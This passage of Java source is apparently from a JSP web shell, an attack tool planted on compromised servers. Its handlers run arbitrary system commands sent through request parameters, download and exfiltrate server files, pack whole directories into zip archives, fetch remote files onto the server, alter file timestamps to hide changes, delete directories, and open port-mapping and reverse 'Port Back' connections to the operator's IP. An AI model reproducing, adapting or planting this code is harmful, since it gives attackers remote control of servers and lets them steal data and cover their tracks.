1653BufferedWriter outs = null;
1654if (charset.equals("ANSI"))
1655outs = new BufferedWriter(new FileWriter(new File(path)));
1656else
1657outs = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(path)),charset));
1658outs.write(content,0,content.length());
1659outs.close();
1660JSession.setAttribute(MSG,"Save File <span style='color:green'>"+(new File(path)).getName()+"</span> With <span style='font-weight:bold;color:red'>"+charset+"</span> Success!");
1661response.sendRedirect(SHELL_NAME);
1662} catch (Exception e) {
1663
1664throw e ;
1665}
1666}
1667}
1668private static class VEditPropertyInvoker extends DefaultInvoker {
1669public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1670try {
1671PrintWriter out = response.getWriter();
1672String filepath = request.getParameter("filepath");
1673File f = new File(filepath);
1674if (!f.exists())
1675return;
1676String read = f.canRead() ? "checked=\"checked\"" : "";
1677String write = f.canWrite() ? "checked=\"checked\"" : "";
1678Calendar cal = Calendar.getInstance();
1679cal.setTimeInMillis(f.lastModified());
1680
1681out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1682"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1683"<h2>Set File Property »</h2>"+
1684"<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
1685"<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
1686"<p>"+
1687" <input type=\"checkbox\" disabled "+read+" name=\"read\" id=\"checkbox\">Read "+
1688" <input type=\"checkbox\" disabled "+write+" name=\"write\" id=\"checkbox2\">Write "+
1689"</p>"+
1690"<p>Instead »"+
1691"year:"+
1692"<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
1693"month:"+
1694"<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
1695"day:"+
1696"<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
1697""+
1698"hour:"+
1699"<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
1700"minute:"+
1701"<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
1702"second:"+
1703"<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
1704"</p>"+
1705"<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
1706"</form>"+
1707"</td></tr></table>");
1708} catch (Exception e) {
1709throw e ;
1710}
1711}
1712}
1713private static class EditPropertyInvoker extends DefaultInvoker {
1714public boolean doBefore(){return false;}
1715public boolean doAfter(){return false;}
1716public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1717try {
1718String f = request.getParameter("file");
1719File file = new File(f);
1720if (!file.exists())
1721return;
1722
1723String year = request.getParameter("year");
1724String month = request.getParameter("month");
1725String date = request.getParameter("date");
1726String hour = request.getParameter("hour");
1727String minute = request.getParameter("minute");
1728String second = request.getParameter("second");
1729
1730Calendar cal = Calendar.getInstance();
1731cal.set(Calendar.YEAR,Integer.parseInt(year));
1732cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
1733cal.set(Calendar.DATE,Integer.parseInt(date));
1734cal.set(Calendar.HOUR,Integer.parseInt(hour));
1735cal.set(Calendar.MINUTE,Integer.parseInt(minute));
1736cal.set(Calendar.SECOND,Integer.parseInt(second));
1737if(file.setLastModified(cal.getTimeInMillis())){
1738JSession.setAttribute(MSG,"Reset File Property Success!");
1739} else {
1740JSession.setAttribute(MSG,"<span style='color:red'>Reset File Property Failed!</span>");
1741}
1742response.sendRedirect(SHELL_NAME);
1743} catch (Exception e) {
1744
1745throw e ;
1746}
1747}
1748}
1749//VShell
1750private static class VsInvoker extends DefaultInvoker{
1751public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1752try {
1753PrintWriter out = response.getWriter();
1754String cmd = request.getParameter("command");
1755String program = request.getParameter("program");
1756if (cmd == null) {
1757if (ISLINUX)
1758cmd = "id";
1759else
1760cmd = "cmd.exe /c set";
1761}
1762if (program == null)
1763program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
1764if (JSession.getAttribute(MSG)!=null) {
1765Util.outMsg(out,JSession.getAttribute(MSG).toString());
1766JSession.removeAttribute(MSG);
1767}
1768out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1769"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1770"<h2>Execute Program »</h2>"+
1771"<p>"+
1772"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1773"<input type=\"hidden\" name=\"type\" value=\"program\">"+
1774"Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
1775"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1776"</p>"+
1777"</form>"+
1778"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1779"<h2>Execute Shell »</h2>"+
1780"<p>"+
1781"<input type=\"hidden\" name=\"o\" value=\"shell\">"+
1782"<input type=\"hidden\" name=\"type\" value=\"command\">"+
1783"Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
1784"<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
1785"</p>"+
1786"</form>"+
1787"</td>"+
1788"</tr></table>");
1789} catch (Exception e) {
1790
1791throw e ;
1792}
1793}
1794}
1795private static class ShellInvoker extends DefaultInvoker{
1796public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1797try {
1798PrintWriter out = response.getWriter();
1799String type = request.getParameter("type");
1800if (type.equals("command")) {
1801((Invoker)ins.get("vs")).invoke(request,response,JSession);
1802out.println("<div style='margin:10px'><hr/>");
1803out.println("<pre>");
1804String command = request.getParameter("command");
1805if (!Util.isEmpty(command)) {
1806Process pro = Runtime.getRuntime().exec(command);
1807BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1808String s = reader.readLine();
1809while (s != null) {
1810out.println(Util.htmlEncode(Util.getStr(s)));
1811s = reader.readLine();
1812}
1813reader.close();
1814reader = new BufferedReader(new InputStreamReader(pro.getErrorStream()));
1815s = reader.readLine();
1816while (s != null) {
1817out.println(Util.htmlEncode(Util.getStr(s)));
1818s = reader.readLine();
1819}
1820reader.close();
1821out.println("</pre></div>");
1822}
1823} else {
1824String program = request.getParameter("program");
1825if (!Util.isEmpty(program)) {
1826Process pro = Runtime.getRuntime().exec(program);
1827JSession.setAttribute(MSG,"Program Has Run Success!");
1828((Invoker)ins.get("vs")).invoke(request,response,JSession);
1829}
1830}
1831} catch (Exception e) {
1832
1833throw e ;
1834}
1835}
1836}
1837private static class DownInvoker extends DefaultInvoker{
1838public boolean doBefore(){return false;}
1839public boolean doAfter(){return false;}
1840public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1841try {
1842String path = request.getParameter("path");
1843if (Util.isEmpty(path))
1844return;
1845InputStream i = null;
1846Object enter = JSession.getAttribute(ENTER);
1847String fileName = null;
1848if (enter == null) {
1849File f = new File(path);
1850if (!f.exists())
1851return;
1852fileName = f.getName();
1853i = new FileInputStream(f);
1854} else {
1855ZipFile zf = new ZipFile((String)enter);
1856ZipEntry entry = new ZipEntry(path);
1857fileName = entry.getName().substring(entry.getName().lastIndexOf("/") + 1);
1858i = zf.getInputStream(entry);
1859}
1860response.setHeader("Content-Disposition","attachment;filename="+URLEncoder.encode(fileName,PAGE_CHARSET));
1861BufferedInputStream input = new BufferedInputStream(i);
1862BufferedOutputStream output = new BufferedOutputStream(response.getOutputStream());
1863byte[] data = new byte[1024];
1864int len = input.read(data);
1865while (len != -1) {
1866output.write(data,0,len);
1867len = input.read(data);
1868}
1869input.close();
1870output.close();
1871} catch (Exception e) {
1872
1873throw e ;
1874}
1875}
1876}
1877//VDown
1878private static class VdInvoker extends DefaultInvoker {
1879public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1880try {
1881PrintWriter out = response.getWriter();
1882String savepath = request.getParameter("savepath");
1883String url = request.getParameter("url");
1884if (Util.isEmpty(url))
1885url = "http://www.baidu.com/";
1886if (Util.isEmpty(savepath)) {
1887savepath = JSession.getAttribute(CURRENT_DIR).toString();
1888}
1889if (!Util.isEmpty(JSession.getAttribute("done"))) {
1890Util.outMsg(out,"Download Remote File Success!");
1891JSession.removeAttribute("done");
1892}
1893out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
1894"<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
1895"<h2>Remote File DownLoad »</h2>"+
1896"<p>"+
1897"<input type=\"hidden\" name=\"o\" value=\"downRemote\">"+
1898"<p>File URL: "+
1899" <input class=\"input\" name=\"url\" value=\""+url+"\" id=\"url\" type=\"text\" size=\"200\" /></p>"+
1900"<p>Save Path: "+
1901"<input class=\"input\" name=\"savepath\" id=\"savepath\" value=\""+savepath+"\" type=\"text\" size=\"200\" /></p>"+
1902"<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"DownLoad\" type=\"submit\" size=\"100\" />"+
1903"</p>"+
1904"</form></table>");
1905} catch (Exception e) {
1906
1907throw e ;
1908}
1909}
1910}
1911private static class DownRemoteInvoker extends DefaultInvoker {
1912public boolean doBefore(){return true;}
1913public boolean doAfter(){return true;}
1914public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1915try {
1916String downFileUrl = request.getParameter("url");
1917String savePath = request.getParameter("savepath");
1918if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))
1919return;
1920URL downUrl = new URL(downFileUrl);
1921URLConnection conn = downUrl.openConnection();
1922
1923File tempF = new File(savePath);
1924File saveF = tempF;
1925if (tempF.isDirectory()) {
1926String fName = downFileUrl.substring(downFileUrl.lastIndexOf("/")+1);
1927saveF = new File(tempF,fName);
1928}
1929BufferedInputStream in = new BufferedInputStream(conn.getInputStream());
1930BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(saveF));
1931byte[] data = new byte[1024];
1932int len = in.read(data);
1933while (len != -1) {
1934out.write(data,0,len);
1935len = in.read(data);
1936}
1937in.close();
1938out.close();
1939JSession.setAttribute("done","d");
1940((Invoker)ins.get("vd")).invoke(request,response,JSession);
1941} catch (Exception e) {
1942
1943throw e ;
1944}
1945}
1946}
1947private static class IndexInvoker extends DefaultInvoker {
1948public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1949try {
1950((Invoker)ins.get("filelist")).invoke(request,response,JSession);
1951} catch (Exception e) {
1952
1953throw e ;
1954}
1955}
1956}
1957private static class MkDirInvoker extends DefaultInvoker {
1958public boolean doBefore(){return false;}
1959public boolean doAfter(){return false;}
1960public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1961try {
1962String name = request.getParameter("name");
1963File f = new File(name);
1964if (!f.isAbsolute()) {
1965String path = JSession.getAttribute(CURRENT_DIR).toString();
1966if (!path.endsWith("/"))
1967path += "/";
1968path += name;
1969f = new File(path);
1970}
1971f.mkdirs();
1972JSession.setAttribute(MSG,"Make Directory Success!");
1973response.sendRedirect(SHELL_NAME);
1974} catch (Exception e) {
1975
1976throw e ;
1977}
1978}
1979}
1980private static class MoveInvoker extends DefaultInvoker {
1981public boolean doBefore(){return false;}
1982public boolean doAfter(){return false;}
1983public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
1984try {
1985PrintWriter out = response.getWriter();
1986String src = request.getParameter("src");
1987String target = request.getParameter("to");
1988if (!Util.isEmpty(target) && !Util.isEmpty(src)) {
1989File file = new File(src);
1990if(file.renameTo(new File(target))) {
1991JSession.setAttribute(MSG,"Move File Success!");
1992} else {
1993String msg = "Move File Failed!";
1994if (file.isDirectory()) {
1995msg += "The Move Will Failed When The Directory Is Not Empty.";
1996}
1997JSession.setAttribute(MSG,msg);
1998}
1999response.sendRedirect(SHELL_NAME);
2000}
2001} catch (Exception e) {
2002
2003throw e ;
2004}
2005}
2006}
2007private static class RemoveDirInvoker extends DefaultInvoker {
2008public boolean doBefore(){return false;}
2009public boolean doAfter(){return false;}
2010public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2011try {
2012String dir = request.getParameter("dir");
2013File file = new File(dir);
2014if (file.exists()) {
2015deleteFile(file);
2016deleteDir(file);
2017}
2018
2019JSession.setAttribute(MSG,"Remove Directory Success!");
2020response.sendRedirect(SHELL_NAME);
2021} catch (Exception e) {
2022
2023throw e ;
2024}
2025}
2026public void deleteFile(File f) {
2027if (f.isFile()) {
2028f.delete();
2029}else {
2030File[] list = f.listFiles();
2031for (int i = 0;i<list.length;i++) {
2032 File ff=list[i];
2033deleteFile(ff);
2034}
2035}
2036}
2037public void deleteDir(File f) {
2038File[] list = f.listFiles();
2039if (list.length == 0) {
2040f.delete();
2041} else {
2042for (int i = 0;i<list.length;i++) {
2043 File ff=list[i];
2044deleteDir(ff);
2045}
2046deleteDir(f);
2047}
2048}
2049}
2050private static class PackBatchInvoker extends DefaultInvoker{
2051public boolean doBefore(){return false;}
2052public boolean doAfter(){return false;}
2053public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2054try {
2055String files = request.getParameter("files");
2056if (Util.isEmpty(files))
2057return;
2058String saveFileName = request.getParameter("savefilename");
2059File saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2060if (saveF.exists()) {
2061JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2062response.sendRedirect(SHELL_NAME);
2063return;
2064}
2065ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2066String[] arr = files.split(",");
2067for (int i = 0;i<arr.length;i++) {
2068 String f=arr[i];
2069File pF = new File(JSession.getAttribute(CURRENT_DIR).toString(),f);
2070ZipEntry entry = new ZipEntry(pF.getName());
2071zout.putNextEntry(entry);
2072FileInputStream fInput = new FileInputStream(pF);
2073int len = 0;
2074byte[] buf = new byte[1024];
2075while ((len = fInput.read(buf)) != -1) {
2076zout.write(buf, 0, len);
2077zout.flush();
2078}
2079fInput.close();
2080}
2081zout.close();
2082JSession.setAttribute(MSG,"Pack Files Success!");
2083response.sendRedirect(SHELL_NAME);
2084} catch (Exception e) {
2085
2086throw e;
2087}
2088}
2089}
2090private static class VPackConfigInvoker extends DefaultInvoker{
2091public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2092try {
2093PrintWriter out = response.getWriter();
2094String packfile = request.getParameter("packedfile");
2095String currentd = JSession.getAttribute(CURRENT_DIR).toString();
2096out.println("<form action='"+SHELL_NAME+"' method='post'>"+
2097"<input type='hidden' name='o' value='pack'/>"+
2098"<input type='hidden' name='config' value='true'/>"+
2099"<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2100" <tr>"+
2101" <td><h2 id=\"Bin_H2_Title\">Pack Configuration >><hr/></h2>"+
2102" <div id=\"hOWTm\">"+
2103" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2104" <tr align=\"center\">"+
2105" <td style=\"width:5%\"></td>"+
2106" <td align=\"center\"><table border=\"0\">"+
2107" <tr>"+
2108" <td>Packed Dir</td>"+
2109" <td><input type=\"text\" name=\"packedfile\" size='100' value=\""+packfile+"\" class=\"input\"/></td>"+
2110" </tr>"+
2111" <tr>"+
2112" <td>Save To</td>"+
2113" <td><input type=\"text\" name=\"savefilename\" size='100' value=\""+((currentd.endsWith("/") ? currentd : currentd+"/")+"pack.zip")+"\" class=\"input\"/></td>"+
2114" </tr>"+
2115" <tr>"+
2116" <td colspan=\"2\"><fieldset><legend>Ext Filter</legend>"+
2117" <input type='radio' name='extfilter' value='no'/>no <input checked type='radio' name='extfilter' value='blacklist'/>Blacklist <input type='radio' name='extfilter' value='whitelist'/>Whitelist"+
2118" <hr/><input type='text' class='input' size='100' value='mp3,wmv,rm,rmvb,avi' name='fileext'/>"+
2119" </fieldset></td>"+
2120" </tr>"+
2121" <tr>"+
2122" <td>Filesize Filter</td>"+
2123" <td><input type=\"text\" name=\"filesize\" value=\"0\" class=\"input\"/>(KB) "+
2124" <input type='radio' name='sizefilter' value='no' checked>no <input type='radio' name='sizefilter' value='greaterthan'>greaterthan<input type='radio' name='sizefilter' value='lessthan'>lessthan</td>"+
2125" </tr>"+
2126" <tr>"+
2127" <td>Exclude Dir</td>"+
2128" <td><input type=\"text\" name=\"exclude\" size='100' class=\"input\"/></td>"+
2129" </tr>"+
2130" </table></td>"+
2131" </tr>"+
2132" <tr align=\"center\">"+
2133" <td colspan=\"2\">"+
2134" <input type=\"submit\" name=\"FJE\" value=\"Pack\" id=\"FJE\" class=\"bt\" />"+
2135" </td>"+
2136" </tr>"+
2137" </table>"+
2138" </div></td>"+
2139" </tr>"+
2140" </table></form>"
2141);
2142} catch (Exception e) {
2143
2144throw e;
2145}
2146}
2147}
2148private static class PackInvoker extends DefaultInvoker {
2149public boolean doBefore(){return false;}
2150public boolean doAfter(){return false;}
2151private boolean config = false;
2152private String extFilter = "blacklist";
2153private String[] fileExts = null;
2154private String sizeFilter = "no";
2155private int filesize = 0;
2156private String[] exclude = null;
2157private String packFile = null;
2158private void reset(){
2159this.config = false;
2160this.extFilter = "blacklist";
2161this.fileExts = null;
2162this.sizeFilter = "no";
2163this.filesize = 0;
2164this.exclude = null;
2165this.packFile = null;
2166}
2167public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2168try {
2169String config = request.getParameter("config");
2170if (!Util.isEmpty(config) && config.equals("true")) {
2171this.config = true;
2172this.extFilter = request.getParameter("extfilter");
2173this.fileExts = request.getParameter("fileext").split(",");
2174this.sizeFilter = request.getParameter("sizefilter");
2175this.filesize = Integer.parseInt(request.getParameter("filesize"));
2176this.exclude = request.getParameter("exclude").split(",");
2177}
2178String packedFile = request.getParameter("packedfile");
2179if (Util.isEmpty(packedFile))
2180return;
2181this.packFile = packedFile;
2182String saveFileName = request.getParameter("savefilename");
2183File saveF = null;
2184if (this.config)
2185saveF = new File(saveFileName);
2186else
2187saveF = new File(JSession.getAttribute(CURRENT_DIR).toString(),saveFileName);
2188if (saveF.exists()) {
2189JSession.setAttribute(MSG,"The File \""+saveFileName+"\" Has Been Exists!");
2190response.sendRedirect(SHELL_NAME);
2191return;
2192}
2193File pF = new File(packedFile);
2194ZipOutputStream zout = null;
2195String base = "";
2196if (pF.isDirectory()) {
2197if (pF.listFiles().length == 0) {
2198JSession.setAttribute(MSG,"No File To Pack ! Maybe The Directory Is Empty .");
2199response.sendRedirect(SHELL_NAME);
2200this.reset();
2201return;
2202}
2203zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2204zipDir(pF,base,zout);
2205} else {
2206zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
2207zipFile(pF,base,zout);
2208}
2209zout.close();
2210this.reset();
2211JSession.setAttribute(MSG,"Pack File Success!");
2212response.sendRedirect(SHELL_NAME);
2213} catch (Exception e) {
2214throw e;
2215}
2216}
2217public void zipDir(File f,String base,ZipOutputStream zout) throws Exception {
2218if (f.isDirectory()) {
2219if (this.config) {
2220String curName = f.getAbsolutePath().replace('\\','/');
2221curName = curName.replaceAll("\\Q"+this.packFile+"\\E","");
2222if (this.exclude != null) {
2223for (int i = 0;i<exclude.length;i++) {
2224if (!Util.isEmpty(exclude[i]) && curName.startsWith(exclude[i])) {
2225return;
2226}
2227}
2228}
2229}
2230File[] arr = f.listFiles();
2231for (int i = 0;i<arr.length;i++) {
2232 File ff=arr[i];
2233String tmpBase = base;
2234if (!Util.isEmpty(tmpBase) && !tmpBase.endsWith("/"))
2235tmpBase += "/";
2236zipDir(ff,tmpBase+f.getName(),zout);
2237}
2238} else {
2239String tmpBase = base;
2240if (!Util.isEmpty(tmpBase) &&!tmpBase.endsWith("/"))
2241tmpBase += "/";
2242zipFile(f,tmpBase,zout);
2243}
2244
2245}
2246public void zipFile(File f,String base,ZipOutputStream zout) throws Exception{
2247if (this.config) {
2248String ext = f.getName().substring(f.getName().lastIndexOf('.')+1);
2249if (this.extFilter.equals("blacklist")) {
2250if (Util.exists(this.fileExts,ext)) {
2251return;
2252}
2253} else if (this.extFilter.equals("whitelist")) {
2254if (!Util.exists(this.fileExts,ext)) {
2255return;
2256}
2257}
2258if (!this.sizeFilter.equals("no")) {
2259double size = f.length() / 1024;
2260if (this.sizeFilter.equals("greaterthan")) {
2261if (size < filesize)
2262return;
2263} else if (this.sizeFilter.equals("lessthan")) {
2264if (size > filesize)
2265return;
2266}
2267}
2268}
2269ZipEntry entry = new ZipEntry(base+f.getName());
2270zout.putNextEntry(entry);
2271FileInputStream fInput = new FileInputStream(f);
2272int len = 0;
2273byte[] buf = new byte[1024];
2274while ((len = fInput.read(buf)) != -1) {
2275zout.write(buf, 0, len);
2276zout.flush();
2277}
2278fInput.close();
2279}
2280}
2281private static class UnPackInvoker extends DefaultInvoker {
2282public boolean doBefore(){return false;}
2283public boolean doAfter(){return false;}
2284public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2285try {
2286String savepath = request.getParameter("savepath");
2287String zipfile = request.getParameter("zipfile");
2288if (Util.isEmpty(savepath) || Util.isEmpty(zipfile))
2289return;
2290File save = new File(savepath);
2291save.mkdirs();
2292ZipFile file = new ZipFile(new File(zipfile));
2293Enumeration e = file.entries();
2294while (e.hasMoreElements()) {
2295ZipEntry en = (ZipEntry) e.nextElement();
2296String entryPath = en.getName();
2297int index = entryPath.lastIndexOf("/");
2298if (index != -1)
2299entryPath = entryPath.substring(0,index);
2300File absEntryFile = new File(save,entryPath);
2301if (!absEntryFile.exists() && (en.isDirectory() || en.getName().indexOf("/") != -1))
2302absEntryFile.mkdirs();
2303BufferedOutputStream output = null;
2304BufferedInputStream input = null;
2305try {
2306output = new BufferedOutputStream(
2307new FileOutputStream(new File(save,en.getName())));
2308input = new BufferedInputStream(
2309file.getInputStream(en));
2310byte[] b = new byte[1024];
2311int len = input.read(b);
2312while (len != -1) {
2313output.write(b, 0, len);
2314len = input.read(b);
2315}
2316} catch (Exception ex) {
2317} finally {
2318try {
2319if (output != null)
2320output.close();
2321if (input != null)
2322input.close();
2323} catch (Exception ex1) {
2324}
2325}
2326}
2327file.close();
2328JSession.setAttribute(MSG,"UnPack File Success!");
2329response.sendRedirect(SHELL_NAME);
2330} catch (Exception e) {
2331
2332throw e ;
2333}
2334}
2335}
2336//VMapPort
2337private static class VmpInvoker extends DefaultInvoker {
2338public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2339try {
2340PrintWriter out = response.getWriter();
2341Object localIP = JSession.getAttribute("localIP");
2342Object localPort = JSession.getAttribute("localPort");
2343Object remoteIP = JSession.getAttribute("remoteIP");
2344Object remotePort = JSession.getAttribute("remotePort");
2345Object done = JSession.getAttribute("done");
2346
2347JSession.removeAttribute("localIP");
2348JSession.removeAttribute("localPort");
2349JSession.removeAttribute("remoteIP");
2350JSession.removeAttribute("remotePort");
2351JSession.removeAttribute("done");
2352
2353if (Util.isEmpty(localIP))
2354localIP = InetAddress.getLocalHost().getHostAddress();
2355if (Util.isEmpty(localPort))
2356localPort = "3389";
2357if (Util.isEmpty(remoteIP))
2358remoteIP = "www.baidu.com";
2359if (Util.isEmpty(remotePort))
2360remotePort = "80";
2361if (!Util.isEmpty(done))
2362Util.outMsg(out,done.toString());
2363
2364out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2365"<input type=\"hidden\" name=\"o\" value=\"mapPort\">"+
2366" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2367" <tr>"+
2368" <td><h2 id=\"Bin_H2_Title\">PortMap >><hr/></h2>"+
2369" <div id=\"hOWTm\">"+
2370" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2371" <tr align=\"center\">"+
2372" <td style=\"width:5%\"></td>"+
2373" <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
2374" <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
2375" </td>"+
2376" <td style=\"width:20%\" align=\"left\">Local Port :"+
2377" <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
2378" <td style=\"width:20%\" align=\"left\">Remote Ip :"+
2379" <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
2380" <td style=\"width:20%\" align=\"left\">Remote Port :"+
2381" <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
2382" </tr>"+
2383" <tr align=\"center\">"+
2384" <td colspan=\"5\"><br/>"+
2385" <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
2386" <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
2387" </td>"+
2388" </tr>"+
2389" </table>"+
2390" </div>"+
2391"</td>"+
2392"</tr>"+
2393"</table>"+
2394"</form>");
2395String targetIP = request.getParameter("targetIP");
2396String targetPort = request.getParameter("targetPort");
2397String yourIP = request.getParameter("yourIP");
2398String yourPort = request.getParameter("yourPort");
2399if (Util.isEmpty(targetIP))
2400targetIP = "127.0.0.1";
2401if (Util.isEmpty(targetPort))
2402targetPort = "3389";
2403if (Util.isEmpty(yourIP))
2404yourIP = request.getRemoteAddr();
2405if (Util.isEmpty(yourPort))
2406yourPort = "53";
2407out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2408"<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
2409" <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2410" <tr>"+
2411" <td><h2 id=\"Bin_H2_Title\">Port Back >><hr/></h2>"+
2412" <div id=\"hOWTm\">"+
2413" <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2414" <tr align=\"center\">"+
2415" <td style=\"width:5%\"></td>"+
2416" <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
2417" <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
2418" </td>"+
2419" <td style=\"width:20%\" align=\"left\">Target Port :"+
2420" <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
2421" <td style=\"width:20%\" align=\"left\">Your Ip :"+
2422" <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
2423" <td style=\"width:20%\" align=\"left\">Your Port :"+
2424" <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
2425" </tr>"+
2426" <tr align=\"center\">"+
2427" <td colspan=\"5\"><br/>"+
2428" <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
2429" </td>"+
2430" </tr>"+
2431" </table>"+
2432" </div>"+
2433"</td>"+
2434"</tr>"+
2435"</table>"+
2436"</form>");
2437} catch (Exception e) {
2438
2439throw e ;
2440}
2441}
2442}
2443//StopMapPort
2444private static class SmpInvoker extends DefaultInvoker {
2445public boolean doAfter(){return true;}
2446public boolean doBefore(){return true;}
2447public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2448try {
2449Object obj = JSession.getAttribute(PORT_MAP);
2450if (obj != null) {
2451ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
2452server.close();
2453}
2454JSession.setAttribute("done","Stop Success!");
2455((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2456} catch (Exception e) {
2457
2458throw e ;
2459}
2460}
2461}
2462//PortBack
2463private static class PortBackInvoker extends DefaultInvoker {
2464public boolean doAfter(){return true;}
2465public boolean doBefore(){return true;}
2466public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2467try {
2468String targetIP = request.getParameter("targetIP");
2469String targetPort = request.getParameter("targetPort");
2470String yourIP = request.getParameter("yourIP");
2471String yourPort = request.getParameter("yourPort");
2472Socket yourS = new Socket();
2473yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
2474Socket targetS = new Socket();
2475targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
2476StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
